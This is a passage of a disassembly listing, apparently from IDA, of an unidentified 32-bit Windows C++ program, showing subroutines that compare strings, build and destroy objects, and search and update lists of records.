arg_60 = byte ptr 64h
push 0FFFFFFFFh
push offset SEH_413E70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov ebp, ecx
sub esp, 18h
lea eax, [esp+3Ch+arg_30]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push eax
mov [esp+40h+var_4], 4
call sub_4014D3
mov ecx, ebp
call sub_401CE4
xor ebx, ebx
cmp eax, ebx
jnz loc_41405E
sub esp, 18h
lea edx, [esp+3Ch+arg_0]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push edx
call sub_4014D3
mov ecx, ebp
call sub_402130
mov edi, eax
cmp edi, ebx
jz loc_41405E
push edi
lea eax, [esp+28h+arg_18]
sub esp, 18h
mov ecx, esp
mov [esp+40h+var_14], esp
push eax
call sub_4014D3
mov ecx, ebp
call sub_4011DB
cmp al, bl
jz loc_41405E
push offset byte_448F40
lea ecx, [esp+28h+arg_48]
call sub_4012EE
test eax, eax
jz short loc_413F57
lea ecx, [edi+2Ah]
call sub_4017EE
lea ecx, [esp+24h+arg_48]
mov esi, eax
call sub_4017EE
loc_413F26: ; CODE XREF: sub_413E70+D4j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413F4A
cmp cl, bl
jz short loc_413F46
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413F4A
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413F26
loc_413F46: ; CODE XREF: sub_413E70+C0j
xor eax, eax
jmp short loc_413F4F
; ---------------------------------------------------------------------------
loc_413F4A: ; CODE XREF: sub_413E70+BCj
; sub_413E70+CAj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413F4F: ; CODE XREF: sub_413E70+D8j
cmp eax, ebx
jnz loc_41405E
loc_413F57: ; CODE XREF: sub_413E70+A1j
push offset byte_448F40
lea ecx, [esp+28h+arg_60]
call sub_4012EE
test eax, eax
jz short loc_413FB3
lea ecx, [edi+3Fh]
call sub_4017EE
lea ecx, [esp+24h+arg_60]
mov esi, eax
call sub_4017EE
loc_413F82: ; CODE XREF: sub_413E70+130j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413FA6
cmp cl, bl
jz short loc_413FA2
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413FA6
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413F82
loc_413FA2: ; CODE XREF: sub_413E70+11Cj
xor eax, eax
jmp short loc_413FAB
; ---------------------------------------------------------------------------
loc_413FA6: ; CODE XREF: sub_413E70+118j
; sub_413E70+126j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413FAB: ; CODE XREF: sub_413E70+134j
cmp eax, ebx
jnz loc_41405E
loc_413FB3: ; CODE XREF: sub_413E70+FAj
push 58h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+24h+var_10], eax
cmp eax, ebx
mov byte ptr [esp+24h+var_4], 5
jz short loc_413FD3
mov ecx, eax
call sub_401D1B
jmp short loc_413FD5
; ---------------------------------------------------------------------------
loc_413FD3: ; CODE XREF: sub_413E70+158j
xor eax, eax
loc_413FD5: ; CODE XREF: sub_413E70+161j
mov [esp+24h+var_14], eax
mov [eax], edi
mov ecx, [esp+24h+var_14]
lea eax, [esp+24h+arg_0]
push eax
add ecx, 4
mov byte ptr [esp+28h+var_4], 4
call sub_40202C
mov eax, [esp+24h+var_14]
lea edx, [esp+24h+arg_30]
push edx
lea ecx, [eax+19h]
call sub_40202C
lea ecx, [esp+24h+var_14]
push ecx
lea ecx, [ebp+6Ch]
call sub_401410
; ---------------------------------------------------------------------------
lea ecx, [esp+28h]
mov byte ptr [esp+28h+var_8], 3
call sub_401226
lea ecx, [esp+28h+arg_14]
mov byte ptr [esp+28h+var_8], 2
call sub_401226
lea ecx, [esp+28h+arg_2C]
mov byte ptr [esp+28h+var_8], 1
call sub_401226
lea ecx, [esp+28h+arg_44]
mov byte ptr [esp+28h+var_8], bl
call sub_401226
lea ecx, [esp+28h+arg_5C]
mov [esp+28h+var_8], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_4140AB
; ---------------------------------------------------------------------------
loc_41405E: ; CODE XREF: sub_413E70+44j
; sub_413E70+68j ...
lea ecx, [esp+24h+arg_0]
mov byte ptr [esp+24h+var_4], 3
call sub_401226
lea ecx, [esp+24h+arg_18]
mov byte ptr [esp+24h+var_4], 2
call sub_401226
lea ecx, [esp+24h+arg_30]
mov byte ptr [esp+24h+var_4], 1
call sub_401226
lea ecx, [esp+24h+arg_48]
mov byte ptr [esp+24h+var_4], bl
call sub_401226
lea ecx, [esp+24h+arg_60]
mov [esp+24h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_4140AB: ; CODE XREF: sub_413E70+1ECj
mov ecx, [esp+24h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 14h
retn 78h
sub_413E70 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414160 proc near ; CODE XREF: sub_401D1Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414160
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414160 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4141F0: ; CODE XREF: ___:00401DD9j
push 0FFFFFFFFh
push offset loc_43AF10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+24h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+3Ch]
sub esp, 18h
mov ecx, esp
mov [esp+58h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov eax, [esp+50h]
sub esp, 18h
mov ecx, esp
mov [esp+6Ch], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401870
mov edx, [esp+64h]
sub esp, 18h
mov ecx, esp
mov [esp+80h], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401870
mov eax, [esp+78h]
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
mov byte ptr [esp+8Ch], 3
call sub_401870
mov ecx, esi
mov dword ptr [esp+88h], 0FFFFFFFFh
call sub_4018AC
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 14h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4142E0 proc near ; CODE XREF: sub_401541j
add ecx, 6Ch
jmp sub_401C76
sub_4142E0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414300 proc near ; CODE XREF: sub_40137Fj
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414300
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push 60h
mov [esp+1Ch+var_4], 3
call sub_437AEA
sub_414300 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 4
jz short loc_414343
mov ecx, eax
call sub_401BF4
; ---------------------------------------------------------------------------
jmp short loc_414345
; ---------------------------------------------------------------------------
loc_414343: ; CODE XREF: ___:00414338j
xor eax, eax
loc_414345: ; CODE XREF: ___:00414341j
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 3
push ecx
mov ecx, eax
mov [esp+8], eax
call sub_40202C
mov eax, [esp+4]
lea edx, [esp+34h]
push edx
lea ecx, [eax+15h]
call sub_40202C
mov edx, [esp+4]
lea ecx, [esp+4Ch]
push ecx
lea ecx, [edx+2Ah]
call sub_40202C
mov ecx, [esp+4]
lea eax, [esp+64h]
push eax
add ecx, 3Fh
call sub_40202C
lea edx, [esp+4]
lea ecx, [esi+60h]
push edx
call sub_401F0F
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 2
call sub_401226
lea ecx, [esp+34h]
mov byte ptr [esp+14h], 1
call sub_401226
lea ecx, [esp+4Ch]
mov byte ptr [esp+14h], 0
call sub_401226
lea ecx, [esp+64h]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0Ch]
pop esi
mov large fs:0, ecx
add esp, 14h
retn 60h
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414430 proc near ; CODE XREF: sub_401BF4j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+18h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+18h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+18h+var_4], 2
call sub_40142E
lea eax, [esp+18h+var_11]
lea ecx, [esi+54h]
push eax
mov byte ptr [esp+1Ch+var_4], 3
call sub_40132A
sub_414430 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4144D0: ; CODE XREF: ___:004010FAj
push 0FFFFFFFFh
push offset loc_43AFD8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+20h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+38h]
sub esp, 18h
mov ecx, esp
mov [esp+54h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov eax, [esp+4Ch]
sub esp, 18h
mov ecx, esp
mov [esp+68h], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401870
mov edx, [esp+60h]
sub esp, 18h
mov ecx, esp
mov [esp+7Ch], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401870
mov ecx, esi
mov dword ptr [esp+70h], 0FFFFFFFFh
call sub_40137F
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 10h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4145A0 proc near ; CODE XREF: sub_401DC0j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4145A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
lea ecx, [esp+18h+var_14]
mov [esp+18h+var_4], 0
mov [esp+18h+var_10], 0
call sub_401E38
mov eax, [esp+18h+arg_18]
lea ecx, [esp+18h+arg_18]
push ecx
lea esi, [eax+54h]
mov ecx, esi
call sub_4012E9
mov edx, [eax]
lea eax, [esp+18h+arg_18]
push eax
mov ecx, esi
mov [esp+1Ch+var_14], edx
call sub_401D9D
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D70
test al, al
jz short loc_414650
loc_414605: ; CODE XREF: sub_4145A0+AEj
lea ecx, [esp+18h+arg_0]
push ecx
lea ecx, [esp+1Ch+var_14]
call sub_401FC3
mov ecx, [eax]
call sub_401B86
test eax, eax
jnz short loc_41462D
lea ecx, [esp+18h+var_14]
call sub_401FC3
mov edx, [eax]
mov [esp+18h+var_10], edx
loc_41462D: ; CODE XREF: sub_4145A0+7Cj
lea ecx, [esp+18h+var_14]
call sub_4020C2
lea eax, [esp+18h+arg_18]
mov ecx, esi
push eax
call sub_401D9D
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D70
test al, al
jnz short loc_414605
loc_414650: ; CODE XREF: sub_4145A0+63j
mov eax, [esp+18h+var_10]
test eax, eax
jz short loc_414698
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_401258
mov ecx, [esp+18h+var_10]
test ecx, ecx
jz short loc_414673
push 1
call sub_4019EC
loc_414673: ; CODE XREF: sub_4145A0+CAj
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 1Ch
; ---------------------------------------------------------------------------
loc_414698: ; CODE XREF: sub_4145A0+B6j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 14h
retn 1Ch
sub_4145A0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414710 proc near ; CODE XREF: sub_4019ECj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402243
test [esp+4+arg_0], 1
jz short loc_414728
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414728: ; CODE XREF: sub_414710+Dj
mov eax, esi
pop esi
retn 4
sub_414710 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_414740 proc near ; CODE XREF: sub_402243j
jmp sub_401226
sub_414740 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414760: ; CODE XREF: ___:00401276j
push 0FFFFFFFFh
push offset loc_43B020
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
push edi
mov ebp, ecx
xor ebx, ebx
push offset asc_444C7C ; ":"
lea eax, [esp+1Ch]
push ebx
push eax
lea ecx, [esp+4Ch]
mov [esp+44h], ebx
mov byte ptr [esp+1Fh], 1
xor esi, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jz short loc_414829
loc_4147C3: ; CODE XREF: ___:00414827j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+44h]
sub esp, 18h
mov edx, esp
mov [esp+30h], esp
push offset asc_444C7C ; ":"
push esi
push edx
call sub_4016B8
mov ecx, ebp
call sub_401DC0
cmp al, bl
jnz short loc_4147F0
mov [esp+13h], bl
loc_4147F0: ; CODE XREF: ___:004147EAj
inc esi
push offset asc_444C7C ; ":"
lea eax, [esp+1Ch]
push esi
push eax
lea ecx, [esp+4Ch]
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jnz short loc_4147C3
loc_414829: ; CODE XREF: ___:004147C1j
lea ecx, [esp+40h]
mov dword ptr [esp+38h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+30h]
mov al, [esp+13h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 2Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4148A0 proc near ; CODE XREF: sub_40212Bj
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4148A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+1Ch+arg_0]
mov [esp+1Ch+var_4], 1
call sub_4017EE
test eax, eax
jz loc_4149D4
lea ecx, [esp+1Ch+var_18]
mov [esp+1Ch+var_14], 0
call sub_402275
add esi, 6Ch
lea eax, [esp+1Ch+var_10]
push eax
mov ecx, esi
call sub_401901
mov ecx, [eax]
lea edx, [esp+1Ch+var_10]
mov [esp+1Ch+var_18], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jz short loc_41497E
loc_414914: ; CODE XREF: sub_4148A0+DCj
lea eax, [esp+1Ch+arg_0]
lea ecx, [esp+1Ch+var_18]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 4
call sub_401B86
test eax, eax
jz short loc_41494C
lea ecx, [esp+1Ch+arg_18]
push ecx
lea ecx, [esp+20h+var_18]
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B86
test eax, eax
jnz short loc_41495B
loc_41494C: ; CODE XREF: sub_4148A0+8Ej
lea ecx, [esp+1Ch+var_18]
call sub_40135C
mov edx, [eax]
mov [esp+1Ch+var_14], edx
loc_41495B: ; CODE XREF: sub_4148A0+AAj
lea ecx, [esp+1Ch+var_18]
call sub_40118B
lea eax, [esp+1Ch+var_10]
mov ecx, esi
push eax
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jnz short loc_414914
loc_41497E: ; CODE XREF: sub_4148A0+72j
mov eax, [esp+1Ch+var_14]
test eax, eax
jz short loc_4149D4
lea ecx, [esp+1Ch+var_14]
push ecx
mov ecx, esi
call sub_40214E
mov ecx, [esp+1Ch+var_14]
test ecx, ecx
jz short loc_4149A1
push 1
call sub_401708
loc_4149A1: ; CODE XREF: sub_4148A0+F8j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+18h+var_C]
mov large fs:0, ecx
add esp, 18h
retn 30h
; ---------------------------------------------------------------------------
loc_4149D4: ; CODE XREF: sub_4148A0+2Ej
; sub_4148A0+E4j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 30h
sub_4148A0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414A70 proc near ; CODE XREF: sub_401708j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A6E
test [esp+4+arg_0], 1
jz short loc_414A88
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414A88: ; CODE XREF: sub_414A70+Dj
mov eax, esi
pop esi
retn 4
sub_414A70 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414AA0 proc near ; CODE XREF: sub_401A6Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+43h]
mov [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414AA0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414B30: ; CODE XREF: ___:004013B1j
push 0FFFFFFFFh
push offset loc_43B098
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40212B
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414BC0: ; CODE XREF: ___:00401B45j
push 0FFFFFFFFh
push offset loc_43B0B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0
call sub_4017EE
test eax, eax
jz loc_414CC7
lea ecx, [esp+4]
mov dword ptr [esp+8], 0
call sub_401037
add esi, 60h
lea eax, [esp+0Ch]
push eax
mov ecx, esi
call sub_401992
mov ecx, [eax]
lea edx, [esp+0Ch]
mov [esp+4], ecx
push edx
mov ecx, esi
call sub_402257
push eax
lea ecx, [esp+8]
call sub_401AEB
test al, al
jz short loc_414C7F
loc_414C34: ; CODE XREF: ___:00414C7Dj
lea eax, [esp+20h]
lea ecx, [esp+4]
push eax
call sub_4011D1
mov ecx, [eax]
call sub_401B86
test eax, eax
jnz short loc_414C5C
lea ecx, [esp+4]
call sub_4011D1
mov ecx, [eax]
mov [esp+8], ecx
loc_414C5C: ; CODE XREF: ___:00414C4Bj
lea ecx, [esp+4]
call sub_4018C5
lea edx, [esp+0Ch]
mov ecx, esi
push edx
call sub_402257
push eax
lea ecx, [esp+8]
call sub_401AEB
test al, al
jnz short loc_414C34
loc_414C7F: ; CODE XREF: ___:00414C32j
mov eax, [esp+8]
test eax, eax
jz short loc_414CC7
lea eax, [esp+8]
mov ecx, esi
push eax
call sub_401154
mov ecx, [esp+8]
test ecx, ecx
jz short loc_414CA2
push 1
call sub_4011C7
; ---------------------------------------------------------------------------
loc_414CA2: ; CODE XREF: ___:00414C99j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+0Ch]
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_414CC7: ; CODE XREF: ___:00414BEEj
; ___:00414C85j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+10h]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414D40 proc near ; CODE XREF: sub_4011C7j
push esi
mov esi, ecx
call sub_401B59
sub_414D40 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_414D58
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414D58: ; CODE XREF: ___:00414D4Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414D70 proc near ; CODE XREF: sub_401B59j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414D70
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+54h]
mov [esp+14h+var_4], 3
call sub_401582
sub_414D70 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+3Fh]
mov byte ptr [esp+10h], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414E10 proc near ; CODE XREF: sub_4014C9j
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_414E10
push eax
mov large fs:0, esp
sub esp, 40h
push ebx
push esi
mov esi, [esp+54h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414F0B
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push eax
call sub_4014D3
sub esp, 18h
mov [esp+88h+var_4], 0
mov ecx, esp
mov [esp+88h+var_4C], esp
push offset byte_448F40
call sub_401870
or ebx, 0FFFFFFFFh
mov ecx, offset word_44AC6E
mov [esp+88h+var_4], ebx
call sub_40212B
test al, al
jz loc_415040
push 0
push 5
push 19h
push 2
push 4
push 0Fh
push 0Fh
lea ecx, [esp+74h+var_3C]
push 21h
push ecx
call sub_4019C4
add esp, 24h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 1
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+58h+var_3C]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414F0B: ; CODE XREF: sub_414E10+36j
lea ecx, [edi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_415040
sub esp, 18h
lea edx, [esi+54h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push edx
call sub_4014D3
sub esp, 18h
lea eax, [esi+3Fh]
mov ecx, esp
mov [esp+88h+var_4C], esp
push eax
mov [esp+8Ch+var_4], 2
call sub_4014D3
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0A0h+var_48], esp
push edx
mov byte ptr [esp+0A4h+var_4], 3
call sub_4014D3
sub esp, 18h
mov ecx, esi
mov eax, esp
mov [esp+0B8h+var_44], esp
push 1
push offset asc_444600 ; " "
push 2
push eax
mov byte ptr [esp+0C8h+var_4], 4
call sub_4011EA
sub esp, 18h
mov byte ptr [esp+0D0h+var_4], 5
mov ecx, esp
mov [esp+0D0h+var_40], esp
push 1
push offset asc_444600 ; " "
push 1
push ecx
mov ecx, esi
call sub_4011EA
or ebx, 0FFFFFFFFh
mov ecx, offset word_44AC6E
mov [esp+0D0h+var_4], ebx
call sub_4018AC
test al, al
jz short loc_415040
push 0
push 4
push 5
push 14h
push 10h
push 5
push 3
push 3
lea edx, [esp+78h+var_24]
push 1Bh
push edx
call sub_4019C4
add esp, 28h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 6
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+58h+var_24]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_415040: ; CODE XREF: sub_414E10+82j
; sub_414E10+10Dj ...
mov ecx, [esp+58h+var_C]
pop edi
pop esi
xor al, al
mov large fs:0, ecx
pop ebx
add esp, 4Ch
retn 4
sub_414E10 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415100 proc near ; CODE XREF: sub_40132Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401ED8
sub_415100 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415140 proc near ; CODE XREF: sub_401726j
arg_0 = dword ptr 4
sub esp, 8
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
push 0
push 0
mov al, [edi]
mov [esi], al
call sub_401ED8
sub_415140 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esi+4], eax
push ecx
